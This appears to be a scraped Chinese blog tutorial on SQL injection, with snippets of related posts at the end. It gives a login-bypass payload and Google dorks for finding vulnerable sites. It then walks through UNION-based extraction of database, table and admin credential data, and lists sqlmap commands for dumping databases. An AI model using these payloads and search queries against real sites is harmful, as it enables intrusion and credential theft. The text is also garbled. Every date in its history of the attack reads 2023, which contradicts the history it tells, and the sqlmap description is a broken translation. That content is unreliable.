所謂sql注入,就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。具體來說,它是利用現有應用程式,將(惡意)的sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入(惡意)sql語句得到乙個存在安全漏洞的**上的資料庫,而不是按照設計者意圖去執行sql語句。
2023年12月, rain forest puppy(rfp) 在phrack 54上發表文章「nt web technology vulnerabilities」,首次提到sql注入;
2023年2月,allaire發出警告 「multiple sql statements in dynamic queries」;
2023年5月, rfp與matthew astley發出警告 「nt odbc remote compromise」;
2023年2月,rfp發表文章 「how i hacked packetstorm – a look at hacking wwthreads via sql」,披露如何利用sql注入攻擊滲透packetstorm**;
2023年10月,chip andrews在
sqlsecurity.com 上發表「sql injection faq 」,首次公開使用「sql注入」這個術語 ;
2023年1月,chris anley發表**「advanced sql injection in sql server」,首次深度**該類攻擊。
2023年6月,chris anley發表** 「(more) advanced sql」 ,補充同年1月發表的**缺少的細節。
2023年blackhat會議上,
0x90.org發布了sql注入工具sqeal ( absinthe的前身)。
使用者名稱:anything
密碼:『 or 1=1 --
原理:如果直接拼接sql走庫驗證的話,sql如下
select * from table where name='xx' and password='yy'
應用如上賬號密碼後,sql如下
select * from table where name='sql inject' and password='' or 1=1–'
下面來舉個栗子
尋找注入點:
網域名稱後直接拼接sql注入:
inurl:asp?***= 、
inurl:.php?***=
post注入:
inurl:managelogin.asp 、
inurl:managelogin.php
以網域名稱後直接注入為例,具體過程如下:
第一步,進行注入測試。 最簡單的方法就是 在鏈結後邊加上 and 1=1 和 and 1=2 如果在and 1=2 顯示頁面不正常,而在and 1=2下顯示正常,則證明 該鏈結存在注入點。
其原理是:一般查詢的語句為
select * from table where id=1
//按照這樣測試就成為了
select * from table where id=1 and 1=2
第二步,在找到注入點後, 猜解當前網頁的字段數
order by 6
order by 7
order by 6顯示正常 ;order 7 顯示不正常。說明欄位數為6
第三步,爆出當前鏈結的顯示位
//對應的數字就是顯示的位置,顯示位為 2和4
and 1=2 union select 1,2,3,4,5,6
第四步,爆出資料庫的基本資訊。
and 1=2 union select 1,2,3,concat(user(),0x20,database(),0x20,version()),5,6
使用者:people@localhost 資料庫名:people 版本:5.0.20a-log
爆出所有的資料庫:
and 1=2 union select 1,2,3,group_concat(distinct table_schema),5,6 from information_schema.columns
爆出資料庫名:information_schema,people,test
information_schema資料庫是在mysql的版本5.0之後產生的,乙個虛擬資料庫,物理上並不存在。nformation_schema資料庫類似與「資料字典」,提供了訪問資料庫元資料的方式,即資料的資料。比如資料庫名或表名,列型別,訪問許可權(更加細化的訪問方式)。information_schema是乙個由資料庫的元資料組成的資料庫。裡面儲存的是mysql的資料庫基本資訊。並隨時改變。用於檢視資訊以及系統決策時作為重要的資訊提供者。
mysql的版本5.0以上版本,我們借助information_schema資料庫,來獲取其他資料庫的資訊。用到了group_concat()函式,distinct引數起到了去掉重複顯示的作用。
第五部,根據資料庫表進行爆出所有資料庫的表名:
and 1=2 union select 1,2,3,group_concat(distinct table_name),5,6 from information_schema.tables where table_schema=database()
admin1,answer,check,class,news,system,zhaoping
該頁面為news.php 其資料庫表肯定就是news表,
第六步,爆出admin1表裡字段,再爆出的使用者資訊,登入後台
把admin1進行hex(16進製制)的結果為:0x61646d696e31
爆出所有的字段:
and 1=2 union select 1,2,3,group_concat(distinct column_name),5,6 from information_schema.columns where table_name=0x61646d696e31
欄位為:id,admin,password,rank
再爆出 admin和password裡的值:
and 1=2 union select 1,2,3,group_concat(distinct+id,0x2b,admin,0x2b,password,0x2b,rank),5,6 from admin1
sqlmap 是乙個自動sql 射入工具。它是可勝任執行乙個廣泛的資料庫管理系統後端指印, 檢索遙遠的dbms 資料庫, usernames, 桌, 專欄, 列舉整個dbms, 讀了系統檔案和利用導致sql 射入弱點的網應用程式設計的安全漏洞。
./sqlmap.py -u 「注入位址」 -v 1 –dbs // 列舉資料庫
./sqlmap.py -u 「注入位址」 -v 1 –current-db // 當前資料庫
./sqlmap.py -u 「注入位址」 -v 1 –users // 列資料庫使用者
./sqlmap.py -u 「注入位址」 -v 1 –current-user // 當前使用者
./sqlmap.py -u 「注入位址」 -v 1 –tables -d 「資料庫」 // 列舉資料庫的表名
./sqlmap.py -u 「注入位址」 -v 1 –columns -t 「表名」 -d 「資料庫」 // 獲取表的列名
./sqlmap.py -u 「注入位址」 -v 1 –dump -c 「字段,字段」 -t 「表名」 -d 「資料庫」 // 獲取表中的資料,包含列
已經開始拖庫了,sqlmap是非常人性化的,它會將獲取的資料儲存sqlmap/output/中
sql注入是需要緣分的,而程式設計師的疏忽就是月老的紅線
網路安全 sql 注入
未經允許萬不可隨意測試 請在法律的允許下使用,謹記謹記!網路安全 sql 注入 位址列輸入在資料庫可以執行的語句,並進入資料庫查到資料 例 ww.com?id 1 and 1 1 轉 資料庫sql 語句 select from 表名 where id 1 and 1 1 ww.com?id 1234...
網路安全部落格3 sql注入
1.準備 工具 sqlmap 需在python環境中執行 環境 windows python 安裝sqlmap 官網 選擇最近版本安裝即可 安裝sqlmap 官網 選擇最近版本安裝即可 設定環境變數 為了使用便利,將sqlmap的安裝目錄新增到系統環境變數path中 之後在cmd中就可以直接使用sq...
網路安全測試之寫在SQL注入後的語句
本文講述的是寫在sql注入後的語句,旨在服務社會,供安全研究人員學習使用,請勿用於其他非法用途,違者後果自負。1.查詢語句後只能直接呼叫函式,不能直接呼叫儲存過程,例如 select function from dual可以,select procedure from dual不行 2.查詢語句中無...